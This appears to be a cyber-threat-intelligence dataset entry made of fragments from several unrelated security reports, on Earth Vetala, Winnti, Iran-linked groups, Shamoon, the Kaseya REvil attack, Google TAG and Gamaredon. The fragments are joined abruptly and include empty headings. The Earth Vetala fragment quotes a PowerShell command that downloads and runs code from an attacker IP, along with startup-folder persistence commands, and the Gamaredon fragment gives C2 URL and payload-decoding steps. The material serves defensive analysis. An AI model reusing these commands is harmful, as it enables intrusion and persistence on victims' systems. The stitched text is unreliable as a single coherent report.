mrmoor/cyber-threat-intelligence huggingface dataset:
The out1.exe RAT has the following capabilities:  Data encoding Email parsing File and registry copy HTTP/S connection support Native command line Process and file execution
After this, the file C:\users\public\Browser64.exe is run.
Browser64 is a tool that extracts credentials from the following applications:  Chrome Chromium Firefox Opera Internet Explorer Outlook       Figure 8.
Usage Example of Browser64.exe     Following the use of browser64.exe, we observed the following command being executed: powershell.exe
iex(new
System.Net.WebClient).DownloadString('hxxp://23.94.50[.]197:444/index.jsp/deb2b1a127c472229babbb8dc2dca1c2/QPKb49mivezAdai1
Finally, we observed a persistence mechanism being set using the following commands: cmd.exe /c Wscript.exe "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\news.js"  cmd.exe /c "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\newsblog.js"
We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL: hxxp://23[.]95[.]215[.]100:8008/index.jsp/7e95a3d753cc4a17793ef9513e030b49/4t2Fg7k6wWRnKgd9      Figure 9.
newsblog.js
The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds.
The response from the server contains an encoded PowerShell script, which is executed in memory.
Decoding this script reveals that it contains a backdoor:
Figure 10. deobfuscated PowerShell backdoor     The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor.
The PowerShell backdoor has the following capabilities.
Check for Skype connectivity Download and install Skype Encoded communication with its C2 Execute commands sent from the C2 server Get multifactor authentication settings Get the currently logged on user and OS version  Earth Vetala Footprint Earth Vetala conducted an extensive offensive campaign targeting multiple countries.
We observed it operating in the following countries:  Azerbaijan Bahrain Israel Saudi Arabia United Arab Emirates       Figure 11.
Affected countries     We observed Earth Vetala target the following sectors:  Government Agencies Academia Tourism  Trend Micro Solutions Earth Vetala represents an interesting threat.
This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill.
MITRE ATT&CK Techniques Mapping  Tactic  Technique  Resource Development  Acquire Infrastructure: Web Services – T1583.006  Initial Access  Phishing: Spearphishing Attachment – T1566.001 Phishing: Spearphishing Link – T1566.002  Execution  Command and Scripting Interpreter: PowerShell – T1059.001
Command and Scripting Interpreter: Windows Command Shell – T1059.003
Command and Scripting Interpreter: Visual Basic – T1059.005 User Execution: Malicious Link – T1204.001 User Execution: Malicious File – T1204.002 Persistence, Privilege Escalation  Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001  Discovery  Account Discovery: Domain Account - T1087.002  Credential Access  Credentials from Password Stores: Credentials from Web Browsers – T1555.003  Command and Control  Data Encoding: Standard Encoding – T1132.001  Defense Evasion  Deobfuscate/Decode Files or Information - T1140   Indicators of Compromise Files  File name SHA-256 Trend Micro Detection Name Description SharpChisel.exe 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 HackTool.MSIL.Chisel.A SharpChisel tunneling tool PD64.dll ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 Trojan.Win64.PASSDUMP.A File used by HackTool.Win64.PassDump.AC PasswordDumper.exe 0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3 HackTool.Win64.PassDump.AC
Password dumping tool out1.exe 79fd822627b72bd2fbe9eae43cf98c99c2ecaa5649b7a3a4cfdc3ef8f977f2e6 HackTool.Win64.Lazagne.
Pyinstaller remote access tool newsblog.js 304ea86131c4d105d35ebbf2784d44ea24f0328fb483db29b7ad5ffe514454f8 Trojan.JS.DLOADR.AUSUOL VBS downloader new.exe fb414beebfb9ecbc6cb9b35c1d2adc48102529d358c7a8997e903923f7eda1a2 HackTool.Win64.LIGOLO.A LIGOLO tunneling tool Browser64.exe 3495b0a6508f1af0f95906efeba36148296dccd2ab8ffb4e569254b683584fea HackTool.Win64.BrowserDumper.A
Tool for accessing browser DBs 1.exe 78b1ab1b8196dc236fa6ad4014dd6add142b3cab583e116da7e8886bc47a7347 HackTool.Win64.LIGOLO.A LIGOLO tunneling tool
مکتبة إلکترونیة.pdf 70cab18770795ea23e15851fa49be03314dc081fc44cdf76e8f0c9b889515c1b Trojan.
PDF.RemoteUtilities.A
PDF with embedded URLs   468e331fd3f9c41399e3e90f6fe033379ab69ced5e11b35665790d4a4b7cf254 Trojan.W97M.RemoteUtilities.A RTF with embedded URLs
مکتبة إلکترونیة .zip f865531608a4150ea5d77ef3dd148209881fc8d831b2cfb8ca95ceb5868e1393 PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities
مکتبة إلکترونیة.exe f664670044dbd967ff9a5d8d8f345be294053e0bae80886cc275f105d8e7a376 PUA.Win32.RemoteUtilities.A RemoteUtilities remote access software برنامج.zip 8bee2012e1f79d882ae635a82b65f88eaf053498a6b268c594b0d7d601b1212f PUA.Win32.RemoteUtilities.A
Archive containing RemoteUtilities برنامجدولیة.zip 9b345d2d9f52cda989a0780acadf45350b423957fb7b7668b9193afca3e0cd27 PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities
ورش مجانية.zip 5e2642f33115c3505bb1d83b137e7f2b18e141930975636e6230cdd4292990dd PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities مکتالمنحالدراسیة.zip b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf PUA.Win32.ScreenConnect.P Archive containing ScreenConnect المنح الدرایةس.exe 3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b PUA.Win32.ScreenConnect.P ScreenConnect remote access software  Network  23.94.50.197:444 23.95.215.100:443 23.95.215.100:8080 87.236.212.184:443 87.236.212.184:8008      Tags  APT & Targeted Attacks | Articles, News, Reports |
Updated on April 26, 2017, 01:39 PM (UTC-7) to add the accurate IP address.
In particular, we managed to gather details on an individual using the handle Hack520, who we believe is connected to Winnti.
Who is the Winnti group?
Based on the use of domain names they registered, the group started out in the business of fake/rogue anti-virus products in 2007.
The group, which was primarily motivated by profit, is noted for utilizing self-developed technically-proficient tools for their attacks.
They once attacked a game server to illicitly farm in-game currency (“gaming gold”, which also has real-world value) and stole source codes of online game projects.
The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.
These samples led us to the discovery of additional C&C servers that provided us with more information than we initially expected.
A closer look at Hack520
Our initial investigation on the domains registered by Hack520 revealed that similar domains (listed below) were registered by another profile.
hack520[.]co[.]kr shaiya[.]kr zhu[.]kr shenqi[.]kr zhuxian[.]kr  Several of these domains are linked to variants of malware that were used by the Winnti threat actor.
Figure 1: Twitter account of Hack520
A rough translation of this message is as follows: “Fxxk, when I am released, the server is offline, I can’t find the machine, the domain is expired, it is so bad.
After further research, we were able to link Hack520 to different network administration activities, notably with a Virtual Private Server (VPS) hosting service.
While one of his signatures uses his own blog domain, there is also a second signature which uses 93[.]gd, a domain that was found to have been actively selling VPS services in the past.
The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname “PIG GOD”—another reference to Hack520’s passion for pigs.
The IP range for “PIG GOD” is 43[.]255[.]188.0/22, which appears to be hosted in Hong Kong as seen in the information we found:  inetnum: 43[.]255[.]188[.]0 - 43[.]255[.]191[.]255 netname: PIG-HK description: PIG GOD country: HK admin-c: PG406-AP tech-c: PG406-AP person: pig god country: HK phone: +852-39437000 e-mail: admin@66[.]to nic-hdl: PG406-AP mnt-by: MAINT-RAIBOW-HK changed: admin@66[.]to 20160917 source: APNIC  The domain 66[.]to leads to another website that shows Hack520’s pet pig.
Figure 3: Hack520’s pet pig
We also found a live service selling VPS hosting at secure[.]66[.]to.
Figure 4: Screenshot of secure[.]66[.]to
Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources and manpower to accomplish their goals.
Overview of Iran-Linked Campaigns:
The target radius for these groups have spanned across the globe, across all major industries.
Iranian TTPs:
General Mitigations:
https://attack.mitre.org/groups/G0049/  OilRig is a threat group Unit 42 named and discovered in May 2016.
This threat group is extremely persistent and relies heavily on spear-phishing as their initial attack vector, but has also been associated with other more sophisticated attacks such credential harvesting campaigns and DNS hijacking.
In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts.
Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network.
https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/  https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/  https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/  https://unit42.paloaltonetworks.com/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/  https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/  https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/  https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/  https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/  https://unit42.paloaltonetworks.com/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/  https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/  https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/  https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/  https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/  https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/  https://attack.mitre.org/groups/G0059/  The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.  The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group.
Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.
https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/
https://attack.mitre.org/groups/G0064/
They use spear-phishing attacks with a domain masquerading technique to make the links in their emails appear legitimate.
A recent report uncovered this threat group’s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins.
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html  https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/
https://attack.mitre.org/groups/G0079/
The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns.
DarkHydrus is a more sophisticated group when compared to others operating in the region, as their toolset and TTPs show a higher skill level.
DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery.
They have also been observed using Google Drive for their C2 channel.
https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/  https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/  https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018.
https://securelist.com/shamoon-the-wiper-copycats-at-work/57854/
https://unit42.paloaltonetworks.com/unit42-shamoon-2-return-disttrack-wiper/
https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/  https://unit42.paloaltonetworks.com/unit42-shamoon-2-delivering-disttrack/  https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/  https://unit42.paloaltonetworks.com/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran/
MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity.
This group generally used spear-phishing with macro-enabled Office documents to deliver their payloads, which were either embedded directly in the macro, or hosted on a first stage C2 server.
A significant portion of MuddyWater’s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc.  https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/  https://securelist.com/muddywater/88059/  https://www.clearskysec.com/muddywater2/  https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/
Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting.
Link to IOCs on GitHub
This post is also available in:      日本語 (Japanese)  Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified  Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously.
Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware.
But this second wave of Shamoon 2 attacks show evidence of potential new tactic.
VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack.
They used access to the VSA software to deploy ransomware associated with the REvil/Sodinokibi ransomware-as-a-service group, according to reports.
The company has not released further information on the vulnerability.
Kaseya recommends that any organization using VSA shut the system down immediately.
CISA has also issued a bulletin asking organizations using the software to follow Kaseya guidance.
The full extent of the attack is currently unknown.
If an MSP’s VSA system was compromised, that could allow an attacker to deploy malware into multiple networks managed by that MSP.
We have not been able to independently determine how these attacks were conducted.
Multiple sources have stated that the following three files were used to install and execute the ransomware attack on Windows systems:  agent.exe  | d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e mpsvc.dll | e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 mpsvc.dll  | 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd  Palo Alto Networks WildFire, Threat Prevention and Cortex XDR detect and prevent REvil ransomware infections.
As more information becomes available on the nature of this attack, we will update this brief to provide additional details.   d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2  Source: Incident Overview and Technical Details, Kaseya  35.226.94[.]113 161.35.239[.]148 162.253.124[.]162  POST /dl.asp curl/7.69.1 GET /done.asp curl/7.69.1 POST /cgi-bin/KUpload.dll curl/7.69.1 GET /done.asp curl/7.69.1 POST /cgi-bin/KUpload.dll curl/7.69.1 POST /userFilterTableRpt.asp curl/7.69.1  Understanding REvil: The Ransomware Gang Behind the Kaseya Attack  Threat Assessment: GandCrab and REvil Ransomware  2021 Unit 42 Ransomware Threat Report  Breaking Down Ransomware Attacks  Ransomware’s New Trend: Exfiltration and Extortion  Updated July 6, 2021, at 3:06 p.m. PT.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!
On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.
Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.
Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.
Generally, 2020 has been dominated by COVID-19.
And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.
To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP was designed specifically for high-risk accounts.
Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.
It was last updated on May 27, 2020.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
We received leads from Graphika that supported us in this investigation.
Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.
One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.
Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.
The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.
We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.
While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.
Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.
From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities.
In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics.
A brief history of Gamaredon   In 2015, researchers from LookingGlass published the first report on Gamaredon.
The report also described Gamaredon’s political beginnings, particularly its ties to the Ukrainian revolution in 2014.
They moved on to Ukrainian government institutions after the revolution.
In 2018, CERT-UA published an advisory against the malware Pterodo, which the group allegedly used.
The group remained active, with several Gamaredon-related activities reported in February 2020.
In March, they were among the threat groups that were identified taking advantage of the coronavirus pandemic to trick targets.
Opening document starts a template injection technique for loading the document template from the internet.
The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).
The attacks we found all arrived through targeted emails (MITRE ATT&CK framework ID T1193).
The email that used the coronavirus-related subject came with an attached document file.
Opening this file (MITRE ATT&CK framework ID T1204) executes the template injection method (MITRE ATT&CK framework ID T1221).
Figure 2. Code for downloading the document template with the malicious macro
As mentioned, the template contains malicious macro (MITRE ATT&CK framework ID T1064), which exports VBS (MITRE ATT&CK framework ID T1064) to execute itself.
This particular behavior is a slight departure from previously reported attacks by Gamaredon, which did not use this technique.
Registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\MediaPlayer wscript.exe //b ％USERPROFILE%\Documents\MediaPlayer\PlayList.vbs
Connect with “hxxp:// kristom[.]hopto[.]org /{computer name}_{hexadecimal volume serious number}/help_05_03[.]php” (MITRE ATT&CK framework IDs T1043, T1071, T1082)
If the downloaded file size in the first step exceeds 10,485 bytes, then the file is saved as “%APPDATA%\\Microsoft\Windows\Cookies.txt” (MITRE ATT&CK framework ID T1105)
Use XOR for the file saved from the second step, where ASCII code converted from its own hexadecimal volume serial number is used as the key.
The decrypted result is saved as “%APPDATA%\\Microsoft\Windows\Cookies.exe” (T1001)
If the file size of “%APPDATA%\\Microsoft\Windows\Cookies.exe” exceeds 4,485 bytes, it is executed.
Interestingly, after decoding the VBS, we saw what appeared to be a programming mistake by the attacker.